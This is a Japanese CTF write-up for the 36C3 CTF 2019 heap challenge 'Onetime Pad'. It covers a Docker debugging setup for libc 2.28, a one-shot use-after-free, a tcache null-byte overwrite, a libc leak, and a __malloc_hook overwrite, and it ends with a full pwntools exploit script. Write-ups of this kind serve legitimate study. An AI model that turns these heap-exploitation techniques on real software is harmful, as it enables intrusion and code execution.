UAF only once / heap feng shui / libc2.28
1: イントロ
いつぞやの年末に行われたHXP主催の 36C3 CTF 2019
DEFCON Qualsらしい
本記事はpwnのhardレベル問題 "Onetime Pad" のwriteupである
なお本問は heapパズル 問題である
すごくすごく眠いからあとで清書すること前提でメモ書きする
【追記:20191230】清書した
2: 表層解析
配布物
配布物は以下の3つ
・Dockerfile
Debian環境でlibcは2.28
ネイティブ環境と異なるlibcでのデバッグは3を参照
・onetimepad
問題のバイナリファイル
./onetimepad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=fb5e2533e641b3debc2fac404e45cb053174361e, not stripped
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
・onetimepad.c
上のバイナリのCソースファイル
問題バイナリはNSA(Non Specified Agency)が開発したメモ帳プログラム
一回読むと発火して読めなくなるそうです
pwn2winといい、設定が面白いのはいいですね
問題概要
メモ帳プログラムで以下の機能を持つ
write
メモ帳を生成する
メモ帳は.bssセクションのstruct onetimepad[8]で管理されており
各インスタンスはメモの内容のbufへのポインタを持っている
重要なのは文字列の入力方法であり
readline()で一旦line bufに入力を受け付け
NULL終端した後にstrdup()して、コピーされた文字列へのポインタをonetimepadに保持する
詳しくは後述するが、この方法での入力によるexploit上の特徴は
・必ずNULL終端されるため1byte分非任意の書き込み(0x00)が生じる
・p64(addr1)+p64(addr2)のように途中にNULLを挟む入力はすることができない
read
"onetime"の名の由来となる部分
onetimepad[ix]の保持するbufを出力するが
出力の直後にこのbufがfree()される
また、onetimepadはメンバ変数に現在使用されているかどうかを示すis_inuseフラグをもっており
readを行いbufをfree()したあとにこのフラグをおろす
readはこのis_freeフラグが立っているものにしかおこなえない
rewrite
onetimepad[ix]のbufを書き換えることができる
これも入力の制約自体はwriteと同じである
.dataセクションの変数によってrewriteできるのは一度だけに制限されている
3: ネイティブ環境と異なるlibcでのデバッグ
本問のバイナリはlibc2.28で動く
LD_PRELOADでlibcを指定して動かそうとしたが上手くいかなかった
ものぐさなため途中まではネイティブ環境のlibc2.27で動かしてexploitを書いていたが
後述するように途中で不具合が生じたためちゃんと2.28を使うことにした
よって配布されたDockerfileでサーバを立ち上げてホストからgdbserverでアタッチしてデバッグしようとしたが
この方法では勿論 pwndbgのheapやbin等のコマンドが使えない
vanila gdbでpwnをしていた頃が懐かしいが今となってはこれらなしでやるのは非常に辛いため
Docker上にpwndbgを入れるようにした
自分は完全なるDocker素人のため環境構築はmoraさんにお願いした。。。
Dockerfile
# echo 'hxp{FLAG}' > flag.txt && docker build -t onetimepad . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 31336:1024 onetimepad FROM debian:buster RUN useradd --create-home --shell /bin/bash ctf WORKDIR /home/ctf COPY ynetd /sbin/ COPY onetimepad flag.txt /home/ctf/ # # Permission # 7 rwx # 6 rw- # 5 r-x # 4 r-- # 3 -wx # 2 -w- # 1 --x # 0 --- # sane defaults RUN chmod 555 /home/ctf && \ chown -R root:root /home/ctf && \ chmod -R 000 /home/ctf/* && \ chmod 500 /sbin/ynetd # TODO: chmod all your files below! RUN chmod 555 onetimepad && \ chmod 444 flag.txt && \ mv flag.txt flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt # check whitelist of writable files/folders USER ctf RUN (find --version && id --version && sed --version && grep --version) > /dev/null RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)' USER root RUN apt-get update && apt-get upgrade &&\ apt-get -y install python2.7 python-pip python-dev git libssl-dev libffi-dev socat ##RUN pip install virtualenvwrapper &&\ # export WORKON_HOME=$HOME/.virtualenvs &&\ # export PROJECT_HOME=$HOME/Devel &&\ # . /usr/local/bin/virtualenvwrapper.sh &&\ # cd $HOMEDIR &&\ # mkdir tools &&\ # cd tools &&\ # mkvirtualenv pwn &&\ RUN pip install --upgrade pwntools &&\ #deactivate &&\ git clone https://github.com/pwndbg/pwndbg &&\ cd pwndbg &&\ ./setup.sh RUN apt-get install -y procps # EXPOSE all your ports EXPOSE 1024 # TODO: CMD your challenge CMD ynetd -u ctf /home/ctf/onetimepad
build
sudo docker build . -t sugoiyatu
run
sudo docker run -p 3001:3001 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it sugoiyatu /bin/bash
shell上で
socat TCP-L:3001,reuseaddr,fork EXEC:./onetimepad &
あとはいつも通り3001ポートに向けてexploitコードを回していい感じのところで止めて
docker上でpwndbgを使ってデバッグすれば良い
4: 方針
さて、問題バイナリに戻る
とっかかりの脆弱性
rewriteに自明なUAFがある
( rewrite時にis_inuseを確認しないため、readした==free()したchunkに書き込むことができる)
但しrewriteにかかる制限がそのままUAFの制約になる
すなわち
・この方法でのUAFは1回しかできない ・・・①
・途中でNULLを挟むと入力が終わる・・・②
・最後がNULL終端される・・・③
libcbaseのleakとlibc2.27/28のunsortedの制約の差異
このUAFを利用して、まずlibcbaseのleakを目指す
まずheapのベースアドレスは下3nibbleが0x000で固定である
この先頭にIO bufが0x250のサイズで取られる
その下にreadline()で使用するline bufがとられる
このline bufのサイズは倍々 or 2の冪乗でとられる
(ソース読んでないから実験からの推測だけど。。。)
途中でline bufのサイズが足りなくなってrealloc()することになるとめんどくさいため
最初にline bufのサイズをかなり大きな値にして固定したい
このために一番最初に0x620サイズをmalloc()しておく・・・chunkA
その下にchunkB (0x570), chunkC(0x30), chunkD(0x30)をmalloc()する
そのあとB,D,Cの順にread(free)する
ここまでのheapの状態が以下の感じ
次にrewriteのUAFを利用してtcache0x30に繋がっているchunkCのfdを書き換える
この際NULL終端が必ず生じること(UAF制約③)と、ヒープアドレスで既知なのは下3nibbleだけであるということから
ガチャなしでいくためには下1byteをNULL overwriteするしかない
よってCのfdの下1byteを0x00にしてtcacheのリンクをずらし、上にあるchunkBの下の方を指すようにしておく
この状態でtcache0x30からchunkE, chunkF をmalloc()する
次にunsortedに繋がっているchunkBから適切なサイズのchunkG (0x4f0) をmalloc()で削り取ることで
chunkFに近いところに残りカスunsortedのfdを生成する
この時事前にずらしたtcacheのリンク先(chunkFのfdが指す先)にちょうどunsortedのfdがくるように削り取るサイズは調整すること
ここまでを図示すると以下のようになる
するとchunkFのユーザ領域の先頭にunsortedが来ているから
Fをreadすることでmain_arena+96がleakできる
今回はunsortedから切り出した残りカスが0x80になるから
free()されたchunkFはtcache0x80につながれる
ここでunsortedのfdとchunkFのfdは重複してしまっている+現在tcache0x80にはchunkが繋がっていないため
この両者のfdはNULLに書き換えられてしまう
このまま次のchunkをunsortedから切り出すと以下の部分でひっかかる
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3754
自分は慣れない環境でのデバッグを嫌ってlibc2.27環境でデバッグしていたのだが
2.27では最後のunsortedのfdがarena+96を指していなくてもよかったが
2.28ではこの整合性チェックが行われるようになったっぽいのでひっかかってしまった
同じチームのメンバーに状況だけを伝えると
やってることを教えただけで「そりゃあやばい状況」と2.28では上手く行かないことを一瞬で指摘してきたので、すげえなぁと思うと同時に、こういうバージョンごとにできること・できないこともちゃんと把握できるようにしないとだめだなと思いました まる
malloc_hook overwrite
ここで躓いているとmoraさんが解決策をくれた
すなわち先にunsortedをfreeしてからもう一度確保することでごまかした
この部分を図示すると以下のようになる
これでlibcbaseがわかった状態で任意のアドレスにchunkを置いて書き込むことができる
だがそのためには0x80サイズのchunkを取る必要があるのだが
前述したUAFの制約②により途中でNULLを入れることができず
inj=p64(target addr), inj+="A"*(0x70-len(inj))
のような入力にするとp64()の時点で入力が打ち切られてしまう
ここでウンウン唸っていると
moraさんが一瞬で以下のbypassを思いついた
すなわち、chunkを__malloc_hookの丁度上に置くのではなく
__malloc_hook - (0x70-len(target addr))に書き込み
入力を"A"*(0x70-len(target addr)) + p64(target addr)にすることで
入力が打ち切られた時点で丁度書き込み終了とすることができるというものである
こういうのを言われなくても自分ですぐ思いつくようにしたい
ただこの方法だとhookの上にあるデータを破壊してしまう
onegadgetのconstraintを避けるためにfree_hookの方をoverwriteしようとしたところ
free_hookの方には上に書き換えちゃいけないポインタがあったらしく
lock関係のところで永久ループに入りとまってしまった
ただlibc2.28環境ではたまたま
malloc_hookなら上のデータは破壊してもよい+onegadgetの制約を満たしているという好条件だったため
普通にmalloc_hook overwriteでいけた
5: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./onetimepad" onegadgets = [0x4484f,0x448a3,0xe5456] #online #st = 1.0 #local st = 0.1 arena_off = 0x1bbca0 malloc_hook_off = 0x1bbc30 free_hook_off = 0x1BD8E8 rhp1 = {"host":"88.198.154.140","port":31336} rhp2 = {'host':"localhost",'port':3001} context(os='linux',arch='amd64') binf = ELF(FILENAME) def _write(conn,content): conn.recvuntil("> ") conn.sendline("w") sleep(st) conn.sendline(content) def _read(conn,idx): conn.recvuntil("> ") conn.sendline("r") sleep(st) conn.sendline(str(idx)) def _rewrite(conn,idx,content): conn.recvuntil("> ") conn.sendline("e") sleep(st) conn.sendline(str(idx)) sleep(st) conn.sendline(content) def exploit(conn): _write(conn,"A"*0x610) #0:とりあえずline bufを大きく取るため _write(conn,"B"*0x560) #1:to generate arena+96 _write(conn,"C"*0x20) #2 _write(conn,"D"*0x20) #3 _read(conn,1) _read(conn,3) _read(conn,2) print("[+]read three times") _rewrite(conn,2,"") _write(conn,"E"*0x20) #1 _write(conn,"F"*0x20) #2 _write(conn,"G"*0x4e0) #3 _read(conn,3) _read(conn,2) arena96 = unpack(conn.recvline()[:-1].ljust(8,'\x00')) print("[+]main_arena + 96: "+hex(arena96)) libc_base = arena96 - arena_off print("[+]libc_base: "+hex(libc_base)) malloc_hook = libc_base + malloc_hook_off print("[+]malloc_hook: "+hex(malloc_hook)) free_hook = libc_base + free_hook_off print("[+]free_hook: "+hex(free_hook)) print("[+]onegadgets[0]: "+hex(libc_base + onegadgets[0])) _write(conn,"G"*0x4e0) #2 _write(conn,p64(malloc_hook - (0x70-0x6))) #3 print("[+]stage1 OK") _write(conn,"A"*0x70) print("[+]stage2 OK") inj = "A"*(0x70-0x6) inj += p64(libc_base + onegadgets[2]) _write(conn,inj) raw_input("enter to continue") _write(conn,"GO!!") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) st = 1.0 else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
6結果
7: アウトロ
自分がCTFを始めた今年最後のCTF
hard問をとれたことは嬉しかったが
hard要素がどこにもなく、明らかにdiffculty estimateのミスだと思う
だがそれにしては時間がかかりすぎたため
単純なheapパズルならば瞬殺できるようにしておきたい
あとdockerの使い方とかはいい加減覚えなさい
それよりも、初めてTSGの人と地下でオンサイトで解けたのが楽しかったです
mora先輩とスマブラもできました
来年はCTFに睡眠を破壊されないようにしたいですね
一瞬誰かを見習って2020年のpwn問全部解くをやろうと思ったんですが
この調子だと睡眠時間が無くなりそうなので無理っぽいです
ただできる限りはwriteupを見てもいいので解きたいですね
よいお年を
続く